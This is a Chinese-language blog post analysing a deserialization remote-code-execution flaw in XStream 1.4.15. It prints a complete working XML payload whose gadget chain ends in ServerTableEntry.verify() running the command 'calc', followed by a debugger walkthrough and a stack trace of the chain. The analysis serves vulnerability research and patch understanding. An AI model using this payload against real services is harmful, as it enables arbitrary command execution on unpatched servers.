一种绕过黑名单、触发PriorityQueue.readObject()造成RCE的姿势
XStream ≤ 1.4.15
<dependencies>
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.15</version>
</dependency>
<!-- https://mvnrepository.com/artifact/xpp3/xpp3_min -->
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
<version>1.1.4c</version>
</dependency>
</dependencies>
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntryjaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntryclass>
<name>verifyname>
<parameter-types/>
getter>
inheritedAttWildcard>
bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>trueboolean>
nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1string>
namespaceURIs>
<localNames>
<string>UTF-8string>
localNames>
nameList>
context>
bridge>
bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calcactivationCmd>
jaxbObject>
dataSource>
message>
<satellites/>
<invocationProperties/>
packet>
indexMap>
comparator>
default>
<int>3int>
<string>javax.xml.ws.binding.attachments.inboundstring>
<string>javax.xml.ws.binding.attachments.inboundstring>
java.util.PriorityQueue>
java.util.PriorityQueue>
分析PoC之前先看看XStream是怎么对待PriorityQueue的:
PriorityQueue继承了Serializable,因此使用的是SerializableConveter

因此在doMarshal和doUnMarshal时会调用write/readObject


看PoC使用的是优先级队列,CC链的常客了,写一个demo看看XStream是怎么反序列化的
package demo;
import com.thoughtworks.xstream.XStream;
import java.util.Comparator;
import java.util.PriorityQueue;
public class PriorityQueueTest {
public static void main(String[] args) {
PriorityQueue queue = new PriorityQueue(new NothingComparator());
queue.add(111);
queue.add(222);
queue.add(333);
XStream xStream = new XStream();
String str = xStream.toXML(queue);
System.out.println(str);
}
public static class NothingComparator implements Comparator{
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}
}
输出:
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>3size>
<comparator class="demo.PriorityQueueTest$NothingComparator"/>
default>
<int>4int>
<int>111int>
<int>222int>
<int>333int>
java.util.PriorityQueue>
java.util.PriorityQueue>
可以看到:
serialization="custom"表明它实现了Serializable表明不会序列化它的父类标签下存储容量和标明拥有的Comparator对象n 后一个标签开始依次存储PoC层次结构大致如下:
PriorityQueue
String
String
sun.awt.datatransfer.DataTransferer$IndexOrderComparator
com.sun.xml.internal.ws.client.ResponseContext
class com.sun.xml.internal.ws.api.message.Packet
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart
com.sun.xml.internal.ws.message.JAXBAttachment
com.sun.xml.internal.ws.db.glassfish.BridgeWrapper
com.sun.corba.se.impl.activation.ServerTableEntry
根据PoC猜测,触发点估计与CC一样:PriorityQueue.readObject()触发比较器compare方法

执行的命令存放在JAXBAttachment下的ServerTableEntry类属性jaxbObject中,这里也明确了属性名是activationCmd

触发命令执行的方法存在BridgeWrapper,注意这个,看名称和内容可以猜测:在这里调用反射触发ServerTableEntry.verify(),然后传入activationCmd完成exec

看一下这个verify,果然有命令执行,直接传参数即可

然后在Accessor的static类GetterSetterReflection找到一个get方法能够调用反射,就能和上面连在一起了

接下来分析是怎么调用到这个get方法的
直接在PriorityQueue.readObject()打断点,SerializableConverter会调用支持反序列化类的readObject方法,接下来的过程分析过cc应该不陌生

来到IndexOrderComparator.compare()

compareIndices方法传参var0是ResponseContext,var1和var2是我们传入的两个类名字符串,会调用ResponseContext.get()

get方法要求字符串是javax.xml.ws.binding.attachments.inbound,否则就走不下去了

往下走会调用MessageWrapper.getAttachments()

MessageWrapper分发来到XMLMessage$XMLMultiPart.getAttachments()

调用JAXBAttachment.getInputStream(),此类实现了DataSource接口

来到writeTo方法,调用了this.bridge.marshal()

marshal方法传参,传入了ServerTableEntry里面存了命令,this是反射调用verify方法

进一步:传入bi和ServerTableEntry

write方法调用this.serializer.childAsXsiType()

调用ClassBeanInfoImpl.serializeURIs(),child对象刚好是命令

往下走,调用GetterSetterReflection.get()

getter获取了bean的verify方法,反射调用

ServerTableEntry.verify()直接命令执行了

exec:347, Runtime (java.lang)
verify:173, ServerTableEntry (com.sun.corba.se.impl.activation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1282, XStream (com.thoughtworks.xstream)
main:11, Main (OneFourFifteen)
1.4.16黑名单扩增

官网公示的其他连号CVE都是相同的利用方法,只是触发对象和效果不同

https://x-stream.github.io/CVE-2021-21345.html
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/126366158
版权声明:本文为原创,转载时须注明出处及本声明